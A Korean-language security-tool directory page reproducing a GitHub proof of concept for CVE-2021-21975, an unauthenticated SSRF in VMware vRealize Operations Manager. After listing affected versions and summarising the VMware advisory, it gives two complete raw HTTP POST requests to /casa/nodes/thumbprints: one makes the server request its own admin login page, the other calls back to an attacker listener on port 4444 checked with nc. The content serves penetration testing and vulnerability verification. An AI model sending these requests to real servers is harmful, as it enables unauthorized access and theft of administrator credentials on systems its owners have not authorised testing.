Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-21975 — CVE-2021-21975 vRealize Operations Manager SSRF | Kitploit
도구/GitHubGitHub/al1ex/cve-2021-21975
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubal1ex/cve-2021-21975

CVE-2021-21975

CVE-2021-21975 vRealize Operations Manager SSRF

저장소 보기
1375년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

영향을 받는 제품

  • VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0
  • VMware Cloud Foundation 4.x、3.x
  • vRealize Suite Lifecycle Manager 8.x

설명

2021년 3월 31일, VMware는 vmsa-2021-0004 위험 공지를 공식적으로 발표했습니다. 취약점 번호는 cve-2021-21975 및 cve-2021-21983이며, 취약점 등급은 고위험, 취약점 점수는 8.6입니다.

CVE-2021-21975: vRealize Operations Manager API에 네트워크 접근이 가능한 악의적인 공격자는 SSRF(Server Side Request Forgery) 공격을 수행하여 관리자 자격 증명을 탈취할 수 있습니다.

CVE-2021-21983: vRealize Operations Manager API에 네트워크 접근이 가능한 인증된 악의적인 공격자는 기본 photon 운영 체제의 임의 위치에 파일을 쓸 수 있습니다.

취약점

Step 1:로그인 없이

without_login

Step 2: 그런 다음 /casa/nodes/thumbprints에 접속하여 burpsuite로 데이터 패킷을 캡처하고, 서버가 인증 페이지에 로그인 요청을 보내도록 하는 다음 요청 데이터 패킷을 구성합니다.

root@kitploit:~
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 36

["127.0.0.1:443/admin/login.action"]

request

Step 2: dnslog을 사용하여 SSRF를 검증하려 했으나 오랫동안 응답(echo)이 없어 결국 NC를 사용하여 검증할 수밖에 없었습니다. 구성된 요청 패킷은 다음과 같습니다:

root@kitploit:~
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 23

["192.168.202.86:4444"]

request2

참고

https://kb.vmware.com/s/article/83210

https://www.vmware.com/security/advisories/VMSA-2021-0004.html

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-21975.yaml

도구 다운로드